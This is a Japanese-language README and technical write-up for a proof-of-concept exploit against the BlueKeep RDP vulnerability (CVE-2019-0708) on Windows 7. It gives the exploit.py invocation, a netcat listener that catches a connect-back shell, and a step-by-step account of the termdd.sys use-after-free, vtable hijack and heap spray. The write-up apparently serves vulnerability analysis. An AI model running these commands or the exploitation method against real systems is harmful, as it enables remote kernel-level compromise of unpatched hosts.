
CVE-2019-0708 (BlueKeep) Windows7上で事前認証RCEを可能にする概念実証
このリポジトリは、Windows リモートデスクトップサービス(RDS)におけるリモートコード実行のバグを示しています。
これは、私たちが以前に開発したBlueKeep脆弱性に関するPoCコードと技術レポートです。
注記: 私たちの目的は、アナリストが重大な脆弱性についてより深く理解できるよう支援することです。
エクスプロイトコードは Python 3 で記述されており、PyRDP ライブラリに依存しています。PyRDPのインストールガイドに従ってセットアップしてください。
現在、このエクスプロイトはVirtual Box上のWindows 7 SP 1 (6.1.7601) x64を対象とし、テストされています。
あなたのコンピュータのIPアドレスが 192.168.56.1 で、example.com:1234 のRDPサーバを攻撃対象とする場合、以下のように入力します。
$ python exploit.py example.com -rp 1234 192.168.56.1
スクリプトがサーバへのエクスプロイトに成功すると、コネクトバックシェルコードがサーバから 192.168.56.1:4444 へのTCP接続を開始します。そのため、例えば netcat で接続を待ち受ける必要があります。
$ nc -v -l 4444
サーバが接続を戻すポート番号を変更したい場合は、-bp オプションを使用します。
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
2019年5月、Microsoftはリモートデスクトップサービス(旧称ターミナルサービス)における重大なリモートコード実行脆弱性 CVE-2019-0708 を公開しました。この脆弱性は事前認証であり、ワーム化が可能で、広範囲に混乱を引き起こす可能性があります。攻撃者は、細工されたリモートデスクトッププロトコル(RDP)メッセージを対象サーバに送信し、管理者権限で任意のコードを実行することでこの脆弱性を悪用できます。
Microsoftリモートデスクトップサービスは、リモートで対話型のWindowsセッションをユーザに提供します。ポート3389/TCP上のリモートデスクトッププロトコル(RDP)を使用してユーザクライアントと通信し、ユーザのWindowsデスクトップを表示します。
RDPプロトコルは、仮想チャネルと呼ばれるソフトウェア拡張機能によって拡張できます。機能拡張の例としては、特殊なタイプのハードウェア、オーディオ、その他コア機能への追加をサポートするものがあります。
これらのチャネルには、「rdpdr」(リダイレクション)、「rdpsnd」(サウンド)、「cliprdr」(クリップボード共有)などの標準的なMicrosoft提供チャネルが含まれます。ユーザはRDP APIを使用して他のチャネルをサポートするモジュールを作成できます。上記のチャネルに加えて、Microsoftはデフォルトで2つのチャネルを作成します。MS_T120(RDP自体に使用)とCTXTW(Citrix ICAで使用)です。
この脆弱性は、「MCS Connect Initial and GCC Create」リクエストによるMS_T120の仮想チャネルバインド処理に関連しています。
詳細な背景情報は ZDI から入手できます。
前述のZDIの記事にあるように、クライアントが要求したすべての仮想チャネルは、termdd!IcaCreateChannel() を使用して作成されます。その後、これらのチャネル構造へのポインタがテーブル(以降 ChannelPointerTable と呼びます)に格納されます。
RDPクライアントとの接続が確立されると、MS_T120を含むすべての静的仮想チャネルがWindows RDPサーバによって内部的に初期化され、ChannelPointerTable によって指されます。
MS_T120とCTXTWを作成するクエリは、rdpcore!WDLIB_IcaVirtualQueryBindings() によって発行されます。
図1: MS_T120とCTXTWを作成するクエリの生成
クエリが termdd!IcaBindVirtualChannels() に渡された後、termdd!IcaAllocateChannel() で仮想チャネル構造が作成され、ChannelPointerTableに登録されます。
図2: 仮想チャネル構造の作成と登録
関数ルーチン termdd!IcaBindChannel() は、仮想チャネル構造を ChannelPointerTable に登録する役割を担います。

以下は、Windows 7 x64におけるスタックトレースで、termdd!IcaBindChannel() が第1引数 "MS_T120"、第3引数 0x1f で呼び出された場合を示しています。
図3: 初期リクエスト時にMS_T120がスロット0x1fにバインドされる
このとき、ChannelPointerTable は以下のようになります。MS_T120は常にスロット0x1Fに存在することに注意してください。
図4: 初期リクエスト時のChannelPointerTable
Windows RDPカーネルドライバ termdd.sys に Use-After-Free 脆弱性が存在します。
問題は、クライアントが「MCS Connect Initial and GCC Create」の際にチャネル名 MS_T120\x00 を指定すると、termdd!IcaCreateChannel() が termdd!IcaFindChannelByName() を呼び出し、スロット0x1Fにある既存のMS_T120チャネル構造を返すことです。その後、このチャネル構造は「MCS Attach User Request」の際に新しい仮想チャネルエントリとみなされ、別のスロット(この例ではスロット2)に格納されます。
以下は、Windows 7 x64におけるスタックトレースで、termdd!IcaBindChannel() が第1引数 "MS_T120"、第3引数 0x2 で呼び出された場合を示しています。
図5: アタッチリクエスト時にMS_T120がスロット0x2にもバインドされる
言い換えると、MS_T120チャネル構造は2つのスロット0x1Fと0x2によって指されます。
図6: アタッチリクエスト時のChannelPointerTable
攻撃者がその後MS_T120チャネルに無効なデータを送信すると、termdd.sys は termdd!IcaCloseChannel() を使用してチャネルを閉じ、スロット(この例ではスロット2)のポインタをクリアします。
しかし、スロット0x1Fの同じポインタはクリアされません。
その後、接続が終了すると、RDPWD!HandleDisconnectProviderUlt() が呼び出され、次に termdd!IcaChannelInputInternal() を呼び出し、スロット0x1Fのポインタを使用して解放済みのMS_T120チャネル構造を再び破棄しようとします。破棄手続きは、チャネル構造内のvtableポインタによって呼び出されます。これにより、Use-After-Free 状態が発生します。
図7: vtable参照
前のセクションで説明したように、RDPWD!HandleDisconnectProviderUlt() は解放されたチャネル構造内のvtableポインタから関数を呼び出そうとします。攻撃者がチャネル構造内の値を制御できる場合、vtableポインタを上書きし、カーネル権限で任意のコード実行につなげることができます。
しかし、これを実現するには2つの困難を克服する必要があります。
1つ目は、そもそも解放されたチャネル構造内の値をどのように制御するかです。これには、対象となる脆弱性がUse-After-Freeであるため、攻撃者が解放された構造と同じ位置にメモリを割り当てるのが標準的かつ確実な方法です。
しかし、この場合、攻撃者が望むように対象の場所にメモリを割り当てる確定的な方法はありません。これは、カーネル内では多くのスレッドが(実質的に)同時に実行され、メモリを割り当てるためです。メモリがどこに割り当てられるかは、スレッドの実行順序に依存します。ほとんどの場合、攻撃者は割り当てに成功したかどうかを確信できません。


もう1つは、vtableとその中のポインタのアドレスをどこに設定するかです。前のセクションで見たように、攻撃者はvtableのアドレスを設定する必要があります。任意のコード実行を得るために、攻撃者は偽装されたvtableに実行させたいアドレス(例:シェルコードや何らかのガジェットのアドレス)が含まれるようなアドレスを設定する必要があります。
しかし、カーネルヒープのランダム性とKASLRのため、攻撃者はそのような適切なアドレスをほぼ確実に知ることができません。
これらの事実は、攻撃者がvtableポインタを制御できたとしても、カーネル内のアドレスを漏洩する別の脆弱性を利用しない限り、直接任意のコード実行を得ることができないことを意味します。
さらに、お気づきかもしれませんが、「シェルコードや何らかのガジェットのアドレス」も攻撃者が知ることができないものです。
私たちのエクスプロイトは、単一の手法でこれらの障害に対処します。ヒープスプレーです。ヒープスプレーは、これらのランダム性を打破する方法であり、大量のメモリを多数割り当てます。
図8: スプレー前のヒーププールの使用状況
図9: スプレー後のヒーププールの使用状況
細工された割り当てを何度も繰り返すことで、攻撃者は割り当てられたメモリの一部が解放されたチャネル構造の位置に存在する確率を高めることができます。